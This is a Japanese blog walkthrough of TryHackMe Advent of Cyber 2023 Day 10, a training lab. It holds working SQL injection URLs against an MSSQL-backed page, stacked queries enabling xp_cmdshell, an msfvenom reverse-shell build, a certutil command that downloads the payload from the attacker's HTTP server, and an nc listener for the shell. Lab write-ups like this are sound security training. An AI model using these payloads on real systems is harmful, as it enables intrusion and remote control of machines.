半年ぶりの TryHackMe で Advent of Cyber 2023 に挑む 10日目【Advent of Cyber: Day 10】

10日目。

[Day 10] Inject the Halls with EXEC Queries

the Best Festival Company 社のウェブページが乗っ取られて(?)荒らされたので SQL インジェクションを使って乗っ取り返して修復しようというお話。

Manually navigate the defaced website to find the vulnerable search form. What is the first webpage you come across that contains the gift-finding feature?

立ち上げたマシンのページに訪れて、右上の "Gift Search" のアドレスを確認すればよい。それにしてもこのウェブページ、荒らされ放題である。

Analyze the SQL error message that is returned. What ODBC Driver is being used in the back end of the website?

ODBC Driver はデータベースにアクセスするための API みたいなものらしい。

まずはてきとうにプレゼントを検索してみる。GUI と連動して URL が作られているのがわかる。例えば下の画像のように設定して検索を行うと http://<Target IP address>/giftresults.php?age=child&interests=toys&budget=10 となる。

ここでこの URL の age= の部分を変更し、http://<Target IP address>/giftresults.php?age='&interests=toys&budget=10 としてアクセスするとエラーが返される。このエラー文を見ることで ODBC Driver がわかる。

Inject the 1=1 condition into the Gift Search form. What is the last result returned in the database?

今度は URL を http://<Target IP address>/giftresults.php?age=' OR 1=1 -- のように変更してアクセスすると SQL インジェクションが成功し、すべてのプレゼントのリストが得られる。問題文にある通り、the last result を見ればフラグが得られる。

What flag is in the note file Gr33dstr left behind on the system?

今度は DB コマンドからシェルを実行するというもの。シェルを実行できるようにするには以下の設定が必要となる。

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

これらの設定も SQL インジェクションを用いて行うことができる。すなわち、URL を変更して http://<Target IP address>/giftresults.php?age='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- を実行すればよい。結果としては検索が失敗した旨のメッセージが返されるが、ターゲットマシンの内部では DB の設定は変わっているので問題ない。

ここからの流れは以下の通りとなる。

  1. アタックマシンで reverse.exe を作成する
  2. reverse.exe をターゲットマシンに送る
  3. リバースシェル
  4. the note file を探す

1. アタックマシンで reverse.exe を作成する

MSFvenom を使って作成する(msfvenom -p windows/x64/shell_reverse_tcp LHOST=<My IP address> LPORT=4444 -f exe -o reverse.exe)。

2. reverse.exe をターゲットマシンに送る

まずアタックマシン上の reverse.exe のあるディレクトリで python3 -m http.server 8000 を実行して簡易サーバを立てる。この状態でターゲットマシンからアタックマシンにファイル要求を行う。ウェブブラウザから http://<Target address>/giftresults.php?age='; EXEC xp_cmdshell 'certutil -urlcache -f http://<My IP address>:8000/reverse.exe C:\Windows\Temp\reverse.exe'; -- を実行するとターゲットマシンに reverse.exe が送られる。

3. リバースシェル

アタックマシン上で nc -lnvp 4444 を実行してからブラウザ上で http://<Target IP address>/giftresults.php?age='; EXEC xp_cmdshell 'C:\Windows\Temp\reverse.exe'; -- にアクセスすることでターゲットマシン上で reverse.exe を実行させる。これでリバースシェルが成功し、手元のアタックマシン上でターゲットマシンのコマンドが自由に打てるようになる。

4. the note file を探す

the note file を根性で探す。C:\Users\Administrator\Desktop\ に Note.txt ファイルがあるので TYPE コマンドで中身を見るとフラグが得られる。

What is the flag you receive on the homepage after restoring the website?

Note.txt を読むと、ウェブサイトを修復するには restore_website.bat を実行するように書いてある。実行後、ウェブサイトを訪れて再読み込みを行うと無事ウェブページが修復されている様子が確認でき、フラグが得られる。

感想

SQL インジェクションのみではなく、リバースシェルも組み込まれた問題。接続を確立した後の the note file 探しがかなり地道だった印象。いろんな要素があったおかげで記事書くのにえらく時間がかかったぞ!ちなみにクリスマスの土日は問題を進める気でいたが実際はほとんど寝てましたサーセン